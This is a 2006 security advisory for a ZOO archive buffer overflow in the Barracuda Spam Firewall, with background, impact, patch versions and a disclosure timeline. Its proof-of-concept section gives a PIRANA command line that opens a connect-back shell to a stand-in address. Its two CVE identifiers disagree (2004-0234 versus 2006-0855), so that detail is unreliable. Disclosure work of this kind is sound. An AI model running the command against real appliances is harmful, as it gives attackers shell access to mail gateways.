Topic:                  Barracuda ZOO archiver security bug leads to
                        remote compromise

Announced:              2006-04-03
Product:                Barracuda Spam Firewall
Vendor:                 http://www.barracudanetworks.com/
Impact:                 Remote shell access
Affected product:       Barracuda with firmware < 3.3.03.022 AND
                        spamdef < 3.0.9388
Credits:                Jean-Sébastien Guay-Leroux
CVE ID:                 CVE-2004-0234


I.      BACKGROUND

The Barracuda Spam Firewall is an integrated hardware and software solution for
complete protection of your email server. It provides a powerful, easy to use,
and affordable solution to eliminating spam and virus from your organization by
providing the following protection:

 * Anti-spam
 * Anti-virus
 * Anti-spoofing
 * Anti-phishing
 * Anti-spyware (Attachments)
 * Denial of Service


II.     DESCRIPTION:

When building a special ZOO archive with long filenames in it, it is possible to
overflow a buffer on the stack used by the program and seize control of the
program.

Since this component is used when scanning an incoming email, remote compromise
is possible by sending a simple email with the specially crafted ZOO archive
attached to the Barracuda Spam Firewall.

You do NOT need to have remote administration access (on port 8000) for
successfull exploitation.

For further informations about the details of the bug, you can consult
OSVDB #23460 .


III.    IMPACT

Gain shell access to the remote Barracuda Spam Firewall


IV.     PROOF OF CONCEPT

Using the PIRANA framework, available at http://www.guay-leroux.com , it is
possible to test the Barracuda Spam Firewall against the ZOO vulnerability.

By calling PIRANA the way it is described below, you will get a TCP connect back
shell on IP address 1.2.3.4 and port 1234:

perl pirana.pl -e 4 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \
-p 1234 -z -c 1 -d 1


V.      SOLUTION

Barracuda Networks pushed an urgent critical patch in spamdef #3.0.9388,
available March 3rd 2006.

They also published an official patch in firmware #3.3.03.022, available April
3rd 2006.

It is recommended to update to firmware #3.3.03.022 .


VI.     CREDITS

Jean-Sébastien Guay-Leroux who found the original flaw, conducted further
research on the bug and produced exploitation plugin for the PIRANA framework.


VII.    REFERENCES

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0855


VIII.   HISTORY

2006-03-02 : Disclosure of vulnerability to Barracuda Networks
2006-03-02 : Acknowledgement of the problem
2006-03-03 : Problem fixed
2006-04-03 : Advisory disclosed to public